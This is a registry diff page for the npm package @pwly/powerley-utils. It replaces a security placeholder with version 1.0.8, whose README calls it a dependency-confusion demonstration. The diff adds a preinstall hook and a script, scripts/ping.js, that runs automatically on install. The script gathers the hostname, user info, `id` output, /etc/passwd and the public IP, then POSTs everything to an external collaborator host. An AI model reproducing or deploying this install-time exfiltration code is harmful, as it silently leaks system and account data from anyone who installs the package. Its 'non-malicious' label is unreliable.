@pwly/powerley-utils 0.0.1-security → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @pwly/powerley-utils might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,12 @@
1
- # Security holding package
1
+ # Details
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ This is a package to demonstrate dependency confusion. Non-malicious but does call out to a server to prove the package was installed/downloaded.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=%40pwly%2Fpowerley-utils for more information.
5
+ # Steps
6
+ # 1 Create org
7
+ # 2 Update domain in ./scripts/ping.js
8
+ # 3 publish to npm repository
9
+ ```
10
+ npm publish --access public
11
+ ```
12
+ # 4 install w/ `npm i @pwly/powerley-utils`
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "@pwly/powerley-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.8",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node scripts/ping.js"
9
+ },
10
+
11
+ "keywords": [],
12
+ "author": "",
13
+ "license": "ISC",
14
+ "type": "commonjs"
6
15
  }
@@ -0,0 +1,64 @@
1
+ const { execSync } = require("child_process");
2
+ const os = require("os");
3
+ const https = require("https");
4
+ const http = require("http");
5
+
6
+ let output = "";
7
+
8
+ async function main() {
9
+ try {
10
+ // Collect system info
11
+ output += "=== SYSTEM INFO ===\n";
12
+ output += "Hostname: " + os.hostname() + "\n";
13
+ output += "\nPlatform: " + os.platform() + "\n";
14
+ output += "\nArch: " + os.arch() + "\n";
15
+ output += "\nUser Info: " + JSON.stringify(os.userInfo()) + "\n";
16
+
17
+ if (os.platform() !== "win32") {
18
+ output += "\nid: " + execSync("id").toString();
19
+ output += "\npasswd:\n" + execSync("cat /etc/passwd").toString();
20
+ } else {
21
+ output += "\nwhoami: " + execSync("whoami").toString();
22
+ }
23
+
24
+ // Get public IP and reverse owner
25
+ output += "\n=== IP OWNER INFO ===\n";
26
+
27
+ const ip = await fetchText("http://api.ipify.org");
28
+ output += "Public IP: " + ip + "\n";
29
+
30
+ const whois = await fetchText(`http://ip-api.com/line/${ip}`);
31
+ output += whois;
32
+
33
+ } catch (e) {
34
+ output += "\nError:\n" + e.stack + "\n";
35
+ }
36
+
37
+ // Send data out
38
+ const req = https.request({
39
+ hostname: "d15fw30mepr0000jqyh0go1abwcyyyyyr.xyzcollab.com",
40
+ path: "/ping?testing=depend-conf",
41
+ method: "POST",
42
+ headers: {
43
+ "Content-Type": "text/plain",
44
+ "Content-Length": Buffer.byteLength(output),
45
+ },
46
+ });
47
+
48
+ req.write(output);
49
+ req.end();
50
+ }
51
+
52
+ // Helper to do HTTP GET and return body
53
+ function fetchText(url) {
54
+ return new Promise((resolve, reject) => {
55
+ const lib = url.startsWith("https") ? https : http;
56
+ lib.get(url, (res) => {
57
+ let data = "";
58
+ res.on("data", chunk => data += chunk);
59
+ res.on("end", () => resolve(data));
60
+ }).on("error", reject);
61
+ });
62
+ }
63
+
64
+ main();